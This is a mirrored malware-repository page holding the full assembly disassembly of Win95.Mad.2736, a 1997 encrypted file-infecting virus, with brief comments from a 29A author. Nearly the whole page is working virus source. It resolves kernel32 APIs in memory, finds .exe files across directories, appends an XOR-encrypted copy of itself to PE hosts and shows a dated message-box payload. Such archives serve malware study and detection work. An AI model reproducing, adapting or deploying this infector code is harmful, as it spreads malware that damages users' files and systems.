mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 04:15:26 +00:00
521 lines
14 KiB
NASM
521 lines
14 KiB
NASM
;Win95.Mad.2736 disassembly
|
|
;(c) Vecna/29A
|
|
|
|
;Here is the disassembly of one of the first Win95 virus, that implemented
|
|
;several original features. It was the first encripted win95 virus, and
|
|
;the second one to not add a new section to the host (the first according
|
|
;to AVPVE) the first was actually Win32.Jacky. When executed,
|
|
;it search the kernel32 in memory for GetProcAddress and GetModuleHandleA,
|
|
;and call they everytime that need get a function, instead of searching
|
|
;once and storing the API address. Anyway, the API search dont seens reliable
|
|
;enought, and i cant make it replicate in my machine.
|
|
|
|
;A special thank goes this time for VirusBuster, my virus provider, that
|
|
;always have nice virii for me... :-)
|
|
;Tasm /m w95mad.asm
|
|
|
|
|
|
.386p
|
|
.model flat
|
|
.data
|
|
dd ?
|
|
|
|
.code
|
|
|
|
start:
|
|
call delta
|
|
delta:
|
|
pop edi
|
|
mov eax, edi
|
|
old_RVA:
|
|
sub eax, 2005h ;setup host entry point
|
|
sub edi, offset delta
|
|
mov ds:HostEntry[edi], eax
|
|
mov ds:SaveEBP[edi], ebp
|
|
mov ebp, edi
|
|
xor eax, eax
|
|
mov edi, offset start_encript
|
|
add edi, ebp
|
|
mov ecx, 0A6Bh
|
|
mov al, ss:Key[ebp]
|
|
decript_loop:
|
|
xor [edi], al
|
|
inc edi
|
|
loop decript_loop
|
|
jmp short start_encript
|
|
|
|
HostEntry dd 0
|
|
SaveEBP dd 0
|
|
Key db 0
|
|
|
|
start_encript:
|
|
mov ss:TotalInf[ebp], 0
|
|
mov eax, 4550h
|
|
mov edi, 0BFF70000h
|
|
mov ecx, 1000h
|
|
cld
|
|
search_kernel:
|
|
repne scasw
|
|
jnz return_host
|
|
add ss:Seed[ebp], edi
|
|
dec edi
|
|
dec edi
|
|
cmp word ptr [edi+4], 14Ch
|
|
jnz short search_kernel
|
|
cmp word ptr [edi+14h], 0
|
|
jz short search_kernel
|
|
mov bx, [edi+16h]
|
|
and bx, 0F000h
|
|
cmp bx, 2000h ;is a DLL?
|
|
jnz short search_kernel
|
|
cmp dword ptr [edi+34h], 0BFF70000h
|
|
jl short search_kernel
|
|
mov eax, [edi+34h]
|
|
mov ss:KernelBase[ebp], eax
|
|
xor eax, eax
|
|
mov ax, [edi+14h]
|
|
add eax, edi
|
|
add eax, 18h
|
|
mov cx, [edi+6] ;number of sections
|
|
search_edata:
|
|
cmp dword ptr [eax], 'ADE.'
|
|
jnz short no_edata
|
|
cmp dword ptr [eax+4], 'AT' ;search all sectionz for the
|
|
jz short found_export ;export section
|
|
no_edata:
|
|
add eax, 28h
|
|
dec cx
|
|
or cx, cx
|
|
jnz short search_edata
|
|
jmp return_host
|
|
|
|
found_export:
|
|
mov ebx, [eax+0Ch]
|
|
add ebx, ss:KernelBase[ebp]
|
|
mov edi, [ebx+20h]
|
|
add edi, ss:KernelBase[ebp]
|
|
mov ecx, [ebx+14h]
|
|
sub ecx, [ebx+18h]
|
|
mov eax, 4
|
|
mul ecx
|
|
mov ss:pAPIRVA[ebp], eax
|
|
mov ecx, [ebx+18h]
|
|
mov eax, 4
|
|
mul ecx
|
|
xchg eax, ecx
|
|
xchg edi, edx
|
|
|
|
search_APIs:
|
|
sub ecx, 4
|
|
mov edi, edx
|
|
add edi, ecx
|
|
mov edi, [edi]
|
|
add edi, ss:KernelBase[ebp]
|
|
lea esi, szGetProcAddres[ebp]
|
|
lea eax, pGetProcAddress[ebp]
|
|
call extract_addr
|
|
lea eax, pGetModuleHdle[ebp]
|
|
lea esi, szGetModuleHdle[ebp]
|
|
call extract_addr
|
|
cmp ecx, 0
|
|
jnz short search_APIs
|
|
cmp ss:pGetProcAddress[ebp], 0
|
|
jz return_host
|
|
cmp ss:pGetModuleHdle[ebp], 0
|
|
jz return_host
|
|
lea eax, _Kernel32[ebp]
|
|
push eax
|
|
mov eax, ss:pGetModuleHdle[ebp]
|
|
call eax
|
|
mov ss:KernelHandle[ebp], eax
|
|
cmp eax, 0
|
|
jz return_host
|
|
lea eax, _GetDir[ebp]
|
|
call get_api_addr
|
|
jb _check_payload
|
|
lea edx, CurrentDir[ebp]
|
|
push edx
|
|
push 0FFh ;save current directory
|
|
call eax
|
|
|
|
find_filez:
|
|
lea eax, _FFile[ebp]
|
|
call get_api_addr
|
|
jb no_payload
|
|
mov edx, offset FINDATA ;start of find struct
|
|
add edx, ebp
|
|
push edx
|
|
mov edx, offset ExeMask
|
|
add edx, ebp
|
|
push edx
|
|
call eax
|
|
mov ss:SearchHandle[ebp], eax
|
|
cmp eax, 0FFFFFFFFh
|
|
jz change_dir ;error, then go down a dir
|
|
|
|
infect_next:
|
|
mov eax, dword ptr ss:FileName[ebp]
|
|
xor ss:Seed[ebp], eax
|
|
cmp eax, 186A0h
|
|
jnb error_close
|
|
cmp ss:Security[ebp], 0 ;maybe a safeguard flag?
|
|
jnz error_close ;win95 never set this, so
|
|
lea eax, _CreateFile[ebp] ;probably is a safeguard
|
|
call get_api_addr ;to no infect own hdd
|
|
jb no_payload
|
|
push 0
|
|
push ss:FINDATA[ebp]
|
|
push 3
|
|
push 0
|
|
push 0
|
|
push 0C0000000h
|
|
mov edx, offset FileName2
|
|
add edx, ebp
|
|
push edx
|
|
call eax
|
|
cmp eax, 0FFFFFFFFh
|
|
jz find_next
|
|
mov ss:FileHandle[ebp], eax
|
|
mov edi, 3Ch
|
|
call file_seek
|
|
mov edi, offset PEPointer
|
|
add edi, ebp
|
|
mov ecx, 4
|
|
call read_file
|
|
jb error_close
|
|
mov edi, ss:PEPointer[ebp]
|
|
call file_seek
|
|
mov edi, offset PEHeader
|
|
add edi, ebp
|
|
mov ecx, 8D0h
|
|
call read_file
|
|
cmp ss:PEHeader[ebp], 4550h
|
|
jnz error_close
|
|
cmp ss:InfectionMark[ebp], 'WDAM' ;MADW - Mad for Win95
|
|
jz error_close
|
|
xor esi, esi
|
|
xor eax, eax
|
|
mov ax, ss:NumberSections[ebp]
|
|
dec ax
|
|
mov ecx, 28h
|
|
xor edx, edx
|
|
mul ecx
|
|
mov si, ax
|
|
mov eax, 0BB8h
|
|
mov ecx, ss:FileAlign[ebp]
|
|
xor edx, edx
|
|
div ecx
|
|
inc eax
|
|
mul ecx
|
|
add ss:szRVA[ebp+esi], eax ;virtual size of section
|
|
mov eax, 7D0h
|
|
mov ecx, ss:ObjAlign[ebp]
|
|
xor edx, edx
|
|
div ecx
|
|
inc eax
|
|
mul ecx
|
|
mov edx, ss:pRAW[ebp+esi] ;pointer to raw data
|
|
mov ecx, edx
|
|
add edx, ss:szRAW[ebp+esi] ;size of raw data
|
|
push edx
|
|
add ss:pRAW[ebp+esi], eax ;pointer to raw data
|
|
or ss:ObjAttr[ebp+esi], 0C0000040h ;object attributes
|
|
add ecx, ss:RVA[ebp+esi] ;RVA of section
|
|
mov edx, ss:EntryRVA[ebp]
|
|
mov ss:EntryRVA[ebp], ecx
|
|
sub ecx, edx
|
|
add ecx, 5
|
|
mov dword ptr ss:old_RVA+1[ebp], ecx
|
|
mov ss:InfectionMark[ebp], 'WDAM' ;set the mark
|
|
mov edi, ss:PEPointer[ebp]
|
|
call file_seek
|
|
mov edi, offset PEHeader
|
|
add edi, ebp
|
|
mov ecx, 8D0h
|
|
call write_file ;write the modificated
|
|
pop edi ;header info
|
|
add ss:Seed[ebp], edi
|
|
call file_seek
|
|
mov eax, ss:Seed[ebp]
|
|
neg eax
|
|
mov ss:Key[ebp], al
|
|
mov esi, offset start
|
|
add esi, ebp
|
|
mov edi, offset EncriptedBody
|
|
add edi, ebp
|
|
mov ecx, 0AB0h
|
|
cld
|
|
repe movsb ;zopy virus to work area
|
|
mov edi, offset EncriptedBody
|
|
add edi, ebp
|
|
add edi, 45h
|
|
mov ecx, 0A6Bh
|
|
mov al, ss:Key[ebp]
|
|
|
|
enc_loop:
|
|
xor [edi], al ;encript it
|
|
inc edi
|
|
loop enc_loop
|
|
mov edi, offset EncriptedBody
|
|
add edi, ebp
|
|
mov ecx, 0AB0h
|
|
call write_file ;attach virus
|
|
|
|
error_close:
|
|
not ss:Seed[ebp]
|
|
lea eax, _CloseFile[ebp]
|
|
call get_api_addr
|
|
jb short _check_payload
|
|
push ss:FileHandle[ebp]
|
|
call eax
|
|
|
|
find_next:
|
|
lea eax, _FNFile[ebp]
|
|
call get_api_addr
|
|
jb short _check_payload
|
|
lea edx, FINDATA[ebp]
|
|
push edx
|
|
push ss:SearchHandle[ebp]
|
|
call eax
|
|
cmp eax, 0
|
|
jnz infect_next
|
|
|
|
change_dir:
|
|
cmp ss:TotalInf[ebp], 3 ;only stop after 3 directorys
|
|
jz short _check_payload ;infected
|
|
lea eax, _SetDir[ebp]
|
|
call get_api_addr
|
|
jb short _check_payload
|
|
lea edx, DotDot[ebp] ;go down a directory
|
|
push edx
|
|
call eax
|
|
inc ss:TotalInf[ebp]
|
|
cmp eax, 1
|
|
jz find_filez
|
|
|
|
_check_payload:
|
|
jmp short check_payload
|
|
|
|
read_file:
|
|
push edi
|
|
push ecx
|
|
lea eax, _ReadFile[ebp]
|
|
call get_api_addr
|
|
pop ecx
|
|
pop edi
|
|
cmp eax, 0
|
|
jnz short rf_addr_ok
|
|
stc
|
|
retn
|
|
rf_addr_ok:
|
|
push 0
|
|
lea ebx, NumRead[ebp]
|
|
push ebx
|
|
push ecx
|
|
push edi
|
|
push ss:FileHandle[ebp]
|
|
call eax
|
|
retn
|
|
|
|
write_file:
|
|
push edi
|
|
push ecx
|
|
lea eax, _WriteFile[ebp]
|
|
call get_api_addr
|
|
pop ecx
|
|
pop edi
|
|
cmp eax, 0
|
|
jnz short wf_addr_ok
|
|
stc
|
|
retn
|
|
wf_addr_ok:
|
|
push 0
|
|
lea ebx, NumRead[ebp]
|
|
push ebx
|
|
push ecx
|
|
push edi
|
|
push ss:FileHandle[ebp]
|
|
call eax
|
|
retn
|
|
|
|
file_seek:
|
|
lea eax, _FileSeek[ebp]
|
|
call get_api_addr
|
|
push 0
|
|
push 0
|
|
push edi
|
|
push ss:FileHandle[ebp]
|
|
call eax
|
|
retn
|
|
|
|
check_payload:
|
|
lea eax, _GetTime[ebp]
|
|
call get_api_addr
|
|
jb short no_payload
|
|
lea edx, SYSTIME[ebp]
|
|
push edx
|
|
call eax
|
|
cmp ss:cDay[ebp], 1
|
|
jnz short no_payload
|
|
lea eax, _User32[ebp]
|
|
push eax
|
|
mov eax, ss:pGetModuleHdle[ebp]
|
|
call eax ;get handle for USER32.DLL
|
|
mov ss:KernelHandle[ebp], eax
|
|
cmp eax, 0
|
|
jz short no_payload
|
|
lea eax, _MsgBox[ebp]
|
|
call get_api_addr
|
|
jb short no_payload
|
|
push 1030h
|
|
mov edx, offset MsgTitle
|
|
add edx, ebp
|
|
push edx
|
|
mov edx, offset MsgText
|
|
add edx, ebp
|
|
push edx
|
|
push 0
|
|
call eax ;pop a MessageBox with virus
|
|
lea eax, _Kernel32[ebp] ;credits
|
|
push eax
|
|
mov eax, ss:pGetModuleHdle[ebp]
|
|
call eax
|
|
mov ss:KernelHandle[ebp], eax
|
|
|
|
no_payload:
|
|
lea eax, _SetDir[ebp]
|
|
call get_api_addr
|
|
jb short return_host
|
|
lea edx, CurrentDir[ebp]
|
|
push edx
|
|
call eax
|
|
|
|
return_host:
|
|
mov edi, ebp
|
|
mov ebp, ds:SaveEBP[edi]
|
|
jmp ds:HostEntry[edi]
|
|
|
|
extract_addr:
|
|
pusha
|
|
mov ecx, [esi]
|
|
add esi, 4
|
|
repe cmpsb ;is api we want?
|
|
popa
|
|
jnz short no_func
|
|
xchg eax, esi
|
|
mov eax, [ebx+1Ch]
|
|
add eax, ss:pAPIRVA[ebp]
|
|
add eax, ss:KernelBase[ebp]
|
|
add eax, ecx
|
|
mov eax, [eax]
|
|
add eax, ss:KernelBase[ebp]
|
|
mov [esi], eax ;set adress
|
|
no_func:
|
|
retn
|
|
|
|
get_api_addr:
|
|
push eax
|
|
mov eax, ss:KernelHandle[ebp]
|
|
push eax
|
|
call ss:pGetProcAddress[ebp]
|
|
cmp eax, 0
|
|
jnz short proc_found
|
|
stc ;set carry on error
|
|
proc_found:
|
|
retn
|
|
|
|
KernelBase dd 0
|
|
pAPIRVA dd 0
|
|
|
|
pGetProcAddress dd 0
|
|
szGetProcAddres dd 0Fh ;size of string to search
|
|
db 'GetProcAddress',0
|
|
|
|
pGetModuleHdle dd 0
|
|
szGetModuleHdle dd 11h ;size of string to search
|
|
db 'GetModuleHandleA',0
|
|
|
|
_Kernel32 db 'KERNEL32',0
|
|
_User32 db 'USER32',0
|
|
|
|
_MsgBox db 'MessageBoxA',0 ;this one we get from user32
|
|
|
|
_FFile db 'FindFirstFileA',0 ;and all these otherz from
|
|
_CreateFile db 'CreateFileA',0 ;kernel32
|
|
_CloseFile db 'CloseHandle',0
|
|
_ReadFile db 'ReadFile',0
|
|
_WriteFile db 'WriteFile',0
|
|
_FileSeek db 'SetFilePointer',0
|
|
_FNFile db 'FindNextFileA',0
|
|
_GetTime db 'GetLocalTime',0
|
|
_SetDir db 'SetCurrentDirectoryA',0
|
|
_GetDir db 'GetCurrentDirectoryA',0
|
|
|
|
KernelHandle dd 0 ;also used for USER32.DLL
|
|
;when using payload
|
|
|
|
MsgTitle db 'Multiplatform Advanced Destroyer',0
|
|
MsgText db 'Hello user your computer is infected by MAD virus',0Dh
|
|
db 'Welcome to my first virus for Windoze95...',0Dh
|
|
db 'Distribution & Copyright by Black Angel 1997',0
|
|
;uhh... a confession... ;-)
|
|
|
|
ExeMask db '*.eXe',0
|
|
|
|
db '[MAD for Win95] version 1.0 BETA! (c)Black Angel`97',0
|
|
|
|
DotDot db '..',0 ;for directory changing
|
|
|
|
SearchHandle dd 0
|
|
FileHandle dd 0
|
|
NumRead dd 0
|
|
Seed dd 0
|
|
|
|
SYSTIME equ this byte
|
|
cYear dw 0
|
|
cMonth dw 0
|
|
cDWeek dw 0
|
|
cDay dw 0
|
|
cHour dw 0
|
|
cMin dw 0
|
|
cSec dw 0
|
|
cMlSec dw 0
|
|
|
|
FINDATA dd 0 ;File Attribute
|
|
dd 0 ;Creation Date
|
|
dd 0 ;Last Acess Date
|
|
dd 0 ;Last Write Date
|
|
dd 0 ;File Size h
|
|
dd 0 ;File Size l
|
|
dd 0 ;Reserved
|
|
Security dd 0
|
|
FileName db 0Ch dup(0)
|
|
FileName2 db 200h dup(0)
|
|
|
|
PEPointer dd 0
|
|
TotalInf db 0
|
|
CurrentDir db 100h dup(0)
|
|
|
|
PEHeader dd 0 ;from here to end, are all
|
|
dw 0 ;bufferz that w95.mad.2736
|
|
NumberSections dw 0 ;use for read, encription
|
|
db 20h dup(0) ;and like...
|
|
EntryRVA dd 0
|
|
db 0Ch dup(0)
|
|
FileAlign dd 0
|
|
ObjAlign dd 0
|
|
db 18h dup(0)
|
|
InfectionMark dd 0
|
|
EncriptedBody db 0A4h dup(0)
|
|
szRVA dd 0
|
|
RVA dd 0
|
|
pRAW dd 0
|
|
szRAW dd 0
|
|
dd 0
|
|
dd 0
|
|
dd 0
|
|
ObjAttr dd 0
|
|
db 608Ch dup(0)
|
|
|
|
end start
|